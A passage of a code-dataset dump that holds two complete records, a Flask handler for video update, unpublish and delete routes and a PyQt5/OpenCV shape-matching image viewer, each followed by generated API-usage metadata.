"app.api.errors.bad_request", "line_number": 28, "usage_type": "call"}, {"api_name": "app.models.User", "line_number": 29, "usage_type": "call"}, {"api_name": "app.db.session.add", "line_number": 31, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 31, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 31, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 32, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 32, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 32, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 33, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 35, "usage_type": "call"}, {"api_name": "app.api.bp.route", "line_number": 22, "usage_type": "call"}, {"api_name": "app.api.bp", "line_number": 22, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 40, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 40, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 41, "usage_type": "name"}, {"api_name": "app.models.MusicItem.to_collection_dict", "line_number": 42, "usage_type": "call"}, {"api_name": "app.models.MusicItem", "line_number": 42, "usage_type": "name"}, {"api_name": "app.models.MusicItem.query.order_by", "line_number": 43, "usage_type": "call"}, {"api_name": "app.models.MusicItem.query", "line_number": 43, "usage_type": "attribute"}, {"api_name": "app.models.MusicItem", "line_number": 43, "usage_type": "name"}, {"api_name": "app.models.MusicItem.listen_count.desc", "line_number": 43, "usage_type": "call"}, {"api_name": "app.models.MusicItem.listen_count", "line_number": 43, "usage_type": "attribute"}, {"api_name": "flask.jsonify", "line_number": 45, "usage_type": "call"}, {"api_name": "app.api.bp.route", "line_number": 38, "usage_type": "call"}, {"api_name": "app.api.bp", "line_number": 38, "usage_type": "name"}, {"api_name": "app.api.auth.token_auth.current_user", "line_number": 50, "usage_type": "call"}, {"api_name": "app.api.auth.token_auth", "line_number": 50, "usage_type": "name"}, {"api_name": "app.db.session.query", "line_number": 51, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 51, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 51, "usage_type": "name"}, {"api_name": "app.models.MusicItem.id", "line_number": 51, "usage_type": "attribute"}, {"api_name": "app.models.MusicItem", "line_number": 51, "usage_type": "name"}, {"api_name": "app.models.User.pinned_music", "line_number": 52, "usage_type": "attribute"}, {"api_name": "app.models.User", "line_number": 52, "usage_type": "name"}, {"api_name": "app.models.User.id", "line_number": 52, "usage_type": "attribute"}, {"api_name": "flask.request.args.get", "line_number": 53, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 53, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 53, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 54, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 54, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 54, "usage_type": "name"}, {"api_name": "app.models.MusicItem.to_collection_dict", "line_number": 55, "usage_type": "call"}, {"api_name": "app.models.MusicItem", "line_number": 55, "usage_type": "name"}, {"api_name": "app.models.MusicItem.query.filter", "line_number": 56, "usage_type": "call"}, {"api_name": "app.models.MusicItem.query", "line_number": 56, "usage_type": "attribute"}, {"api_name": "app.models.MusicItem", "line_number": 56, "usage_type": "name"}, {"api_name": "app.models.MusicItem.id.in_", "line_number": 56, "usage_type": "call"}, {"api_name": "app.models.MusicItem.id", "line_number": 56, "usage_type": "attribute"}, {"api_name": "flask.jsonify", "line_number": 58, "usage_type": "call"}, {"api_name": "app.api.bp.route", "line_number": 47, "usage_type": "call"}, {"api_name": "app.api.bp", "line_number": 47, "usage_type": "name"}, {"api_name": "app.api.auth.token_auth.login_required", "line_number": 48, "usage_type": "attribute"}, {"api_name": "app.api.auth.token_auth", "line_number": 48, "usage_type": "name"}, {"api_name": "app.api.auth.token_auth.current_user", "line_number": 63, "usage_type": "call"}, {"api_name": "app.api.auth.token_auth", "line_number": 63, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 64, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 64, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 65, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 65, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 69, "usage_type": "call"}, {"api_name": "app.api.bp.route", "line_number": 60, "usage_type": "call"}, {"api_name": "app.api.bp", "line_number": 60, "usage_type": "name"}, {"api_name": "app.api.auth.token_auth.login_required", "line_number": 61, "usage_type": "attribute"}, {"api_name": "app.api.auth.token_auth", "line_number": 61, "usage_type": "name"}, {"api_name": "app.api.auth.token_auth.current_user", "line_number": 74, "usage_type": "call"}, {"api_name": "app.api.auth.token_auth", "line_number": 74, "usage_type": "name"}, {"api_name": "app.models.MusicItem.query.get_or_404", "line_number": 75, "usage_type": "call"}, {"api_name": "app.models.MusicItem.query", "line_number": 75, "usage_type": "attribute"}, {"api_name": "app.models.MusicItem", "line_number": 75, "usage_type": "name"}, {"api_name": "app.api.errors.bad_request", "line_number": 77, "usage_type": "call"}, {"api_name": "app.models.MusicItem.pin_count", "line_number": 81, "usage_type": "attribute"}, {"api_name": "app.models.MusicItem", "line_number": 81, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 82, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 82, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 82, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 84, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 84, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 84, "usage_type": "name"}, {"api_name": "app.api.bp.route", "line_number": 71, "usage_type": "call"}, {"api_name": "app.api.bp", "line_number": 71, "usage_type": "name"}, {"api_name": "app.api.auth.token_auth.login_required", "line_number": 72, "usage_type": "attribute"}, {"api_name": "app.api.auth.token_auth", "line_number": 72, "usage_type": "name"}, {"api_name": "app.api.auth.token_auth.current_user", "line_number": 90, "usage_type": "call"}, {"api_name": "app.api.auth.token_auth", "line_number": 90, "usage_type": "name"}, {"api_name": "app.models.MusicItem.query.get_or_404", "line_number": 91, "usage_type": "call"}, {"api_name": "app.models.MusicItem.query", "line_number": 91, "usage_type": "attribute"}, {"api_name": "app.models.MusicItem", "line_number": 91, "usage_type": "name"}, {"api_name": "app.api.errors.bad_request", "line_number": 93, "usage_type": "call"}, {"api_name": "app.models.MusicItem.pin_count", "line_number": 97, "usage_type": "attribute"}, {"api_name": "app.models.MusicItem", "line_number": 97, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 98, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 98, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 98, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 100, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 100, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 100, "usage_type": "name"}, {"api_name": "app.api.bp.route", "line_number": 87, "usage_type": "call"}, {"api_name": "app.api.bp", "line_number": 87, "usage_type": "name"}, {"api_name": "app.api.auth.token_auth.login_required", "line_number": 88, "usage_type": "attribute"}, {"api_name": "app.api.auth.token_auth", "line_number": 88, "usage_type": "name"}, {"api_name": "app.api.auth.token_auth.current_user", "line_number": 106, "usage_type": "call"}, {"api_name": "app.api.auth.token_auth", "line_number": 106, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 107, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 107, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 107, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 108, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 108, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 108, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 112, "usage_type": "call"}, {"api_name": "app.api.bp.route", "line_number": 103, "usage_type": "call"}, {"api_name": "app.api.bp", "line_number": 103, "usage_type": "name"}, {"api_name": "app.api.auth.token_auth.login_required", "line_number": 104, "usage_type": "attribute"}, {"api_name": "app.api.auth.token_auth", "line_number": 104, "usage_type": "name"}, {"api_name": "flask.request.get_json", "line_number": 117, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 117, "usage_type": "name"}, {"api_name": "app.api.auth.token_auth.current_user", "line_number": 118, "usage_type": "call"}, {"api_name": "app.api.auth.token_auth", "line_number": 118, "usage_type": "name"}, {"api_name": "app.api.errors.bad_request", "line_number": 120, "usage_type": "call"}, {"api_name": "app.models.MusicItem.query.filter_by", "line_number": 121, "usage_type": "call"}, {"api_name": "app.models.MusicItem.query", "line_number": 121, "usage_type": "attribute"}, {"api_name": "app.models.MusicItem", "line_number": 121, "usage_type": "name"}, {"api_name": "app.api.errors.bad_request", "line_number": 125, "usage_type": "call"}, {"api_name": "app.api.errors.bad_request", "line_number": 127, "usage_type": "call"}, {"api_name": "app.models.MusicItem", "line_number": 129, "usage_type": "call"}, {"api_name": "app.db.session.commit", "line_number": 132, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 132, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 132, "usage_type": "name"}, {"api_name": "app.api.bp.route", "line_number": 114, "usage_type": "call"}, {"api_name": "app.api.bp", "line_number": 114, "usage_type": "name"}, {"api_name": "app.api.auth.token_auth.login_required", "line_number": 115, "usage_type": "attribute"}, {"api_name": "app.api.auth.token_auth", "line_number": 115, "usage_type": "name"}, {"api_name": "app.api.auth.token_auth.current_user", "line_number": 138, "usage_type": "call"}, {"api_name": "app.api.auth.token_auth", "line_number": 138, "usage_type": "name"}, {"api_name": "app.models.MusicItem.query.get_or_404", "line_number": 139, "usage_type": "call"}, {"api_name": "app.models.MusicItem.query", "line_number": 139, "usage_type": "attribute"}, {"api_name": "app.models.MusicItem", "line_number": 139, "usage_type": "name"}, {"api_name": "app.api.errors.bad_request", "line_number": 141, "usage_type": "call"}, {"api_name": "app.db.session.commit", "line_number": 143, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 143, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 143, "usage_type": "name"}, {"api_name": "app.api.bp.route", "line_number": 135, "usage_type": "call"}, {"api_name": "app.api.bp", "line_number": 135, "usage_type": "name"}, {"api_name": "app.api.auth.token_auth.login_required", "line_number": 136, "usage_type": "attribute"}, {"api_name": "app.api.auth.token_auth", "line_number": 136, "usage_type": "name"}, {"api_name": "app.api.auth.basic_auth.current_user", "line_number": 150, "usage_type": "call"}, {"api_name": "app.api.auth.basic_auth", "line_number": 150, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 153, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 153, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 153, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 154, "usage_type": "call"}, {"api_name": "app.api.bp.route", "line_number": 147, "usage_type": "call"}, {"api_name": "app.api.bp", "line_number": 147, "usage_type": "name"}, {"api_name": "app.api.auth.basic_auth.login_required", "line_number": 148, "usage_type": "attribute"}, {"api_name": "app.api.auth.basic_auth", "line_number": 148, "usage_type": "name"}, {"api_name": "app.api.auth.basic_auth.current_user", "line_number": 163, "usage_type": "call"}, {"api_name": "app.api.auth.basic_auth", "line_number": 163, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 166, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 166, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 166, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 167, "usage_type": "call"}, {"api_name": "app.api.bp.route", "line_number": 159, "usage_type": "call"}, {"api_name": "app.api.bp", "line_number": 159, "usage_type": "name"}, {"api_name": "app.api.auth.token_auth.login_required", "line_number": 161, "usage_type": "attribute"}, {"api_name": "app.api.auth.token_auth", "line_number": 161, "usage_type": "name"}, {"api_name": "app.api.auth.token_auth.current_user", "line_number": 175, "usage_type": "call"}, {"api_name": "app.api.auth.token_auth", "line_number": 175, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 178, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 178, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 178, "usage_type": "name"}, {"api_name": "app.api.bp.route", "line_number": 172, "usage_type": "call"}, {"api_name": "app.api.bp", "line_number": 172, "usage_type": "name"}, {"api_name": "app.api.auth.token_auth.login_required", "line_number": 173, "usage_type": "attribute"}, {"api_name": "app.api.auth.token_auth", "line_number": 173, "usage_type": "name"}]} +{"seq_id": "279370011", "text": "import traceback\n\nfrom commonspy.logging import log_error, log_info\nfrom flask import Flask, jsonify\n\nfrom connector import api\nfrom connector.db import RegistryModel\nfrom connector.states import Downloading, Updating, Unpublish, Deleting, Active\n\n\ndef create_app():\n app = Flask(__name__)\n app.register_blueprint(api)\n return app\n\n\n@api.route('/update/')\ndef update_request(registry_id):\n log_info('Going to execute update / upload for registry id %s' % registry_id)\n try:\n registry_model = RegistryModel.create_from_registry_id(registry_id)\n if registry_model.status == 'notified':\n log_info('New video detected. Starting upload workflow. registry id: %s' % registry_id)\n Downloading.create_downloading_state(registry_model).run()\n elif registry_model.status == 'active':\n if registry_model.captions_uploaded:\n # log_info('Captions already uploaded for video. Updating an existing video is currently not supported. Ignoring request. registry id: %s' % registry_id)\n Updating.create_updating_state(registry_model).run()\n else:\n log_info('Captions will be uploaded for video if set in Kaltura. Existing video will be updated. registry id: %s' % registry_id)\n Updating.create_updating_state(registry_model).run()\n elif registry_model.status == 'inactive':\n log_info('Detected inactive video. Activating it again. registry id: %s' % registry_id)\n Active.create_active_state(registry_model).run()\n elif registry_model.status == 'error':\n log_info('Previous workflow ended with error. Retrying... registry id: %s' % registry_id)\n if registry_model.intermediate_state == 'downloading' or registry_model.intermediate_state == 'uploading':\n log_info('Retrying upload. registry id: %s' % registry_id)\n Downloading.create_downloading_state(registry_model).run()\n elif registry_model.intermediate_state == 'updating':\n log_info('Retrying updating... registry id: %s' % registry_id)\n Updating.create_updating_state(registry_model).run()\n else:\n log_info('No proper intermediate state found. Starting download... registry id: %s' % registry_id)\n Downloading.create_downloading_state(registry_model).run()\n except Exception as e:\n log_error(traceback.format_tb(e.__traceback__))\n traceback.print_tb(e.__traceback__)\n return jsonify({'status': 'error'})\n return jsonify({'status': 'success'})\n\n\n@api.route('/unpublish/')\ndef unpublish_request(registry_id):\n log_info('Going to execute unpublish event for registry id %s.' % registry_id)\n try:\n registry_model = RegistryModel.create_from_registry_id(registry_id)\n if registry_model.status == 'active' or registry_model.status == 'error':\n log_info('Unpublishing video... registry id: %s' % registry_id)\n Unpublish.create_unpublish_state(registry_model).run()\n except Exception as e:\n log_error(traceback.format_tb(e.__traceback__))\n traceback.print_tb(e.__traceback__)\n return jsonify({'status': 'error'})\n return jsonify({'status': 'success'})\n\n\n@api.route('/delete/')\ndef delete_request(registry_id):\n log_info('Going to delete video with registry id %s.' % registry_id)\n try:\n registry_model = RegistryModel.create_from_registry_id(registry_id)\n Deleting.create_deleting_state(registry_model).run()\n except Exception as e:\n log_error(traceback.format_tb(e.__traceback__))\n traceback.print_tb(e.__traceback__)\n return jsonify({'status': 'error'})\n return jsonify({'status': 'success'})\n", "sub_path": "connector/handler.py", "file_name": "handler.py", "file_ext": "py", "file_size_in_byte": 3836, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "flask.Flask", "line_number": 12, "usage_type": "call"}, {"api_name": "connector.api", "line_number": 13, "usage_type": "argument"}, {"api_name": "commonspy.logging.log_info", "line_number": 19, "usage_type": "call"}, {"api_name": "connector.db.RegistryModel.create_from_registry_id", "line_number": 21, "usage_type": "call"}, {"api_name": "connector.db.RegistryModel", "line_number": 21, "usage_type": "name"}, {"api_name": "commonspy.logging.log_info", "line_number": 23, "usage_type": "call"}, {"api_name": "connector.states.Downloading.create_downloading_state", "line_number": 24, "usage_type": "call"}, {"api_name": "connector.states.Downloading", "line_number": 24, "usage_type": "name"}, {"api_name": "connector.states.Updating.create_updating_state", "line_number": 28, "usage_type": "call"}, {"api_name": "connector.states.Updating", "line_number": 28, "usage_type": "name"}, {"api_name": "commonspy.logging.log_info", "line_number": 30, "usage_type": "call"}, {"api_name": "connector.states.Updating.create_updating_state", "line_number": 31, "usage_type": "call"}, {"api_name": "connector.states.Updating", "line_number": 31, "usage_type": "name"}, {"api_name": "commonspy.logging.log_info", "line_number": 33, "usage_type": "call"}, {"api_name": "connector.states.Active.create_active_state", "line_number": 34, "usage_type": "call"}, {"api_name": "connector.states.Active", "line_number": 34, "usage_type": "name"}, {"api_name": "commonspy.logging.log_info", "line_number": 36, "usage_type": "call"}, {"api_name": "commonspy.logging.log_info", "line_number": 38, "usage_type": "call"}, {"api_name": "connector.states.Downloading.create_downloading_state", "line_number": 39, "usage_type": "call"}, {"api_name": "connector.states.Downloading", "line_number": 39, "usage_type": "name"}, {"api_name": "commonspy.logging.log_info", "line_number": 41, "usage_type": "call"}, {"api_name": "connector.states.Updating.create_updating_state", "line_number": 42, "usage_type": "call"}, {"api_name": "connector.states.Updating", "line_number": 42, "usage_type": "name"}, {"api_name": "commonspy.logging.log_info", "line_number": 44, "usage_type": "call"}, {"api_name": "connector.states.Downloading.create_downloading_state", "line_number": 45, "usage_type": "call"}, {"api_name": "connector.states.Downloading", "line_number": 45, "usage_type": "name"}, {"api_name": "commonspy.logging.log_error", "line_number": 47, "usage_type": "call"}, {"api_name": "traceback.format_tb", "line_number": 47, "usage_type": "call"}, {"api_name": "traceback.print_tb", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 49, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 50, "usage_type": "call"}, {"api_name": "connector.api.route", "line_number": 17, "usage_type": "call"}, {"api_name": "connector.api", "line_number": 17, "usage_type": "name"}, {"api_name": "commonspy.logging.log_info", "line_number": 55, "usage_type": "call"}, {"api_name": "connector.db.RegistryModel.create_from_registry_id", "line_number": 57, "usage_type": "call"}, {"api_name": "connector.db.RegistryModel", "line_number": 57, "usage_type": "name"}, {"api_name": "commonspy.logging.log_info", "line_number": 59, "usage_type": "call"}, {"api_name": "connector.states.Unpublish.create_unpublish_state", "line_number": 60, "usage_type": "call"}, {"api_name": "connector.states.Unpublish", "line_number": 60, "usage_type": "name"}, {"api_name": "commonspy.logging.log_error", "line_number": 62, "usage_type": "call"}, {"api_name": "traceback.format_tb", "line_number": 62, "usage_type": "call"}, {"api_name": "traceback.print_tb", "line_number": 63, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 65, "usage_type": "call"}, {"api_name": "connector.api.route", "line_number": 53, "usage_type": "call"}, {"api_name": "connector.api", "line_number": 53, "usage_type": "name"}, {"api_name": "commonspy.logging.log_info", "line_number": 70, "usage_type": "call"}, {"api_name": "connector.db.RegistryModel.create_from_registry_id", "line_number": 72, "usage_type": "call"}, {"api_name": "connector.db.RegistryModel", "line_number": 72, "usage_type": "name"}, {"api_name": "connector.states.Deleting.create_deleting_state", "line_number": 73, "usage_type": "call"}, {"api_name": "connector.states.Deleting", "line_number": 73, "usage_type": "name"}, {"api_name": "commonspy.logging.log_error", "line_number": 75, "usage_type": "call"}, {"api_name": "traceback.format_tb", "line_number": 75, "usage_type": "call"}, {"api_name": "traceback.print_tb", "line_number": 76, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 77, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 78, "usage_type": "call"}, {"api_name": "connector.api.route", "line_number": 68, "usage_type": "call"}, {"api_name": "connector.api", "line_number": 68, "usage_type": "name"}]} +{"seq_id": "637189253", "text": "# Copyright 2020-2021 antillia.com Toshiyuki Arai\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# ShapeMatcher.py\n\n# 2018/05/01 \n\n# encodig: utf-8\n\nimport sys\nimport os\nimport cv2\nimport traceback\n\n\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\n\n# \nsys.path.append('../')\n\nfrom SOL4Py.ZApplicationView import *\n\nfrom SOL4Py.ZLabeledComboBox import ZLabeledComboBox\nfrom SOL4Py.ZLabeledSlider import ZLabeledSlider\nfrom SOL4Py.opencv.ZOpenCVImageView import ZOpenCVImageView \nfrom SOL4Py.ZVerticalPane import ZVerticalPane \nfrom SOL4Py.ZGridLayouter import ZGridLayouter\n\n \nclass MainView(ZApplicationView):\n\n # Inner classes\n #---------------------------------------------------------\n class BinarizedImageView(ZOpenCVImageView):\n def __init__(self, parent, filename=None, flags=cv2.IMREAD_COLOR):\n ZOpenCVImageView.__init__(self, parent, filename, flags)\n src_mage = self.get_opencv_image()\n self.gray_image = cv2.cvtColor( src_mage, cv2.COLOR_BGR2GRAY) \n print(\"BinarizedImage\")\n self.binarized_image = None\n\n\n def get_binarized_image(self):\n return self.binarized_image;\n\n\n def binarize(self, threshold_type, threshold_value):\n try:\n THRESHOLD_VALUE_MAX =255\n _, self.binarized_image = cv2.threshold(self.gray_image, threshold_value, \n THRESHOLD_VALUE_MAX, threshold_type )\n #self.update()\n #print(\"bin {}\".format(self.binarized_image.shape))\n \n return self.binarized_image\n except:\n traceback.print_exc()\n \n class MatchedImageView (ZOpenCVImageView):\n def __init__(self, parent, filename=None, flags=cv2.IMREAD_COLOR):\n ZOpenCVImageView.__init__(self, parent, filename, flags)\n\n def set_matched_image(self, image):\n self.set_opencv_image(image)\n self.update()\n\n def set_image(self, image):\n self.set_opencv_image(image)\n self.update()\n \n #---------------------------------------------------------\n \n FIRST = 0\n SECOND = 1\n THIRD = 2\n\n # MainView Constructor\n def __init__(self, title, x, y, width, height):\n super(MainView, self).__init__(title, x, y, width, height)\n\n self.filenames = [\"../images/CatImage.png\", \"../images/CatFace.png\", \"../images/Blank.png\"]\n \n self.image_views = [None, None, None]\n\n self.grid = ZGridLayouter(self)\n \n flags = cv2.IMREAD_COLOR\n\n # 1 Create three image views.\n self.image_views[self.FIRST ] = self.BinarizedImageView(self, self.filenames[self.FIRST ], flags) \n self.image_views[self.SECOND] = self.BinarizedImageView(self, self.filenames[self.SECOND], flags) \n self.image_views[self.THIRD ] = self.MatchedImageView (self, self.filenames[self.THIRD ], flags) \n\n # 2 Add the image views to the grid layouter.\n self.grid.add(self.image_views[self.FIRST ], 0, 0)\n self.grid.add(self.image_views[self.SECOND], 0, 1)\n self.grid.add(self.image_views[self.THIRD ], 1, 0, 1, 2)\n\n filename = self.filenames[self.FIRST] + \" \" + self.filenames[self.SECOND]\n \n self.set_filenamed_title(filename)\n\n self.show()\n\n\n # Redefined add_file_menu. \n def add_file_menu(self):\n # Typical file menu \n self.file_menu = QMenu('&File', self)\n self.file_menu.addAction('&New', self.file_new)\n self.file_menu.addAction('&Open First File', self.first_file_open)\n self.file_menu.addAction('&Open Second File', self.second_file_open)\n\n self.file_menu.addAction('&Save', self.file_save)\n self.file_menu.addAction('&Save As', self.file_save_as)\n self.file_menu.addAction('&Quit', self.file_quit)\n self.menuBar().addMenu(self.file_menu)\n \n \n def add_control_pane(self, fixed_width=200):\n # Control pane widget\n self.threshold_value = 11\n self.vpane = ZVerticalPane(self, fixed_width)\n\n self.threshold_type_id = 0\n \n self.types = {\"THRESH_BINARY\": cv2.THRESH_BINARY, \n \"THRESH_BINARY_INV\": cv2.THRESH_BINARY_INV,\n \"THRESH_TRUNC\": cv2.THRESH_TRUNC,\n \"THRESH_TOZERO\": cv2.THRESH_TOZERO,\n \"THRESH_TOZERO_INV\": cv2.THRESH_TOZERO_INV,\n \"THRESH_OTSU\": cv2.THRESH_OTSU, \n \"THRESH_TRIANGLE\": cv2.THRESH_TRIANGLE }\n\n self.threshold_type = ZLabeledComboBox(self.vpane, \"ThresholdType\")\n self.threshold_type.add_items(list(self.types.keys()) )\n self.threshold_type.add_activated_callback(self.threshold_type_activated)\n self.threshold_type.set_current_text(self.threshold_type_id)\n\n self.threshold_value = 60\n \n self.threshold_value_slider = ZLabeledSlider(self.vpane, \"ThresholdValue\", take_odd =True, \n minimum=0, maximum=255, value=self.threshold_value, fixed_width=200)\n self.threshold_value_slider.add_value_changed_callback(self.threshold_value_changed)\n self.vpane.add(self.threshold_type) \n self.vpane.add(self.threshold_value_slider)\n\n self.match_min_size = 60\n self.match_max_size = 240\n \n self.match_min_size_slider = ZLabeledSlider(self.vpane, \"MatchMinSize\", take_odd =True, \n minimum=10, maximum=100, value=self.match_min_size) \n self.match_min_size_slider.add_value_changed_callback(self.match_min_size_value_changed)\n\n self.match_max_size_slider = ZLabeledSlider(self.vpane, \"MatchMaxSize\", take_odd =True, \n minimum=100, maximum=400, value=self.match_max_size) \n self.match_max_size_slider.add_value_changed_callback(self.match_max_size_value_changed)\n\n self.vpane.add(self.match_min_size_slider)\n self.vpane.add(self.match_max_size_slider)\n \n self.clear_button = QPushButton(\"Clear\", self.vpane)\n self.clear_button.clicked.connect(self.clear_button_clicked)\n\n self.match_button = QPushButton(\"Match\", self.vpane)\n self.match_button.clicked.connect(self.match_button_clicked)\n \n self.vpane.add(self.clear_button)\n self.vpane.add(self.match_button)\n \n self.set_right_dock(self.vpane)\n\n def first_file_open(self):\n options = QFileDialog.Options()\n filename, _ = QFileDialog.getOpenFileName(self,\"FileOpenDialog\", \"\",\n \"All Files (*);;Image Files (*.png;*jpg;*.jpeg)\", options=options)\n if filename:\n self.filenames[self.FIRST] = filename\n self.image_views[self.FIRST ].load_opencv_image(filename)\n self.image_views[self.THIRD ].load_opencv_image(self.filenames[self.THIRD])\n filename = self.filenames[self.FIRST] + \" \" + self.filenames[self.SECOND] \n self.set_filenamed_title(filename)\n\n def second_file_open(self):\n options = QFileDialog.Options()\n filename, _ = QFileDialog.getOpenFileName(self,\"FileOpenDialog\", \"\",\n \"All Files (*);;Image Files (*.png;*jpg;*.jpeg)\", options=options)\n if filename:\n self.filenames[self.SECOND] = filename\n self.image_views[self.SECOND].load_opencv_image(filename)\n self.image_views[self.THIRD ].load_opencv_image(self.filenames[self.THIRD])\n\n filename = self.filenames[self.FIRST] + \" \" + self.filenames[self.SECOND]\n self.set_filenamed_title(filename)\n \n \n def threshold_type_activated(self, text):\n self.threshold_type_id = self.types[text]\n self.shapeMatching()\n \n def threshold_value_changed(self, value):\n self.threshold_value = int(value)\n if self.threshold_value % 2 == 0:\n # Block size should be odd.\n self.threshold_value = int((self.threshold_value * 2)/2 + 1)\n self.shapeMatching()\n \n def match_min_size_value_changed(self, value):\n self.match_min_size = int(value)\n self.shapeMatching()\n\n def match_max_size_value_changed(self, value):\n self.match_max_size = int(value)\n self.shapeMatching()\n \n def clear_button_clicked(self):\n src_image = self.image_views[self.FIRST ].get_opencv_image().copy()\n self.image_views[self.THIRD].set_image(src_image)\n \n def match_button_clicked(self):\n self.shapeMatching()\n \n # Shape matching operation to two images in image_views[self.FIRST] and image_views[self.SECOND].\n # A matched rectangle will be draw on image_views[self.THIRD].\n def shapeMatching(self):\n src_image = self.image_views[self.FIRST ].get_opencv_image().copy()\n self.image_views[self.THIRD].set_image(src_image)\n\n src_bin = self.image_views[self.FIRST ].binarize(self.threshold_type_id, self.threshold_value)\n tmp_bin = self.image_views[self.SECOND].binarize(self.threshold_type_id, self.threshold_value)\n nlabels, labels, stats, centroids = cv2.connectedComponentsWithStats(src_bin) \n print(\"labels:{}\".format(nlabels))\n \n dest_image = src_image.copy();\n \n MATCHING_THRESHOLD = 0.005\n\n minimum = [0, 0, 0, 0] #cv2.Rect(0, 0, 0, 0)\n MIN_SIMILARITY = 1.0\n found = False;\n CV_CONTOURS_MATCH_I1 =1\n for i in range(nlabels):\n x, y, w, h, a = stats[i] \n rect = [x, y, w, h]\n\n # Region of interest\n roi = src_bin[y:(y+h), x:(x+w)]\n\n similarity = cv2.matchShapes(tmp_bin, roi, CV_CONTOURS_MATCH_I1, 0) #method=CV_CONTOURS_MATCH_I1, parameter=0);\n if ( (w >= self.match_min_size or h >= self.match_min_size ) and \n (w <= self.match_max_size or h <= self.match_max_size )):\n if (similarity <= MIN_SIMILARITY) :\n MIN_SIMILARITY = similarity\n minimum = rect;\n print(\"matching similarity={} x={} y={} w={} h={}\".format( similarity, x, y, w, h))\n found = True;\n \n if found:\n x, y, w, h = minimum\n cv2.rectangle(dest_image, (x, y), (x+w, y+h), (0, 0, 255), 3);\n self.image_views[self.THIRD].set_matched_image(dest_image)\n \n \n#*************************************************\n# \nif main(__name__):\n try:\n app_name = os.path.basename(sys.argv[0])\n applet = QApplication(sys.argv)\n \n main_view = MainView(app_name, 40, 40, 900, 500)\n main_view.show ()\n\n applet.exec_()\n\n except:\n traceback.print_exc()\n\n", "sub_path": "opencv/ShapeMatcher.py", "file_name": "ShapeMatcher.py", "file_ext": "py", "file_size_in_byte": 10459, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.path.append", "line_number": 32, "usage_type": "call"}, {"api_name": 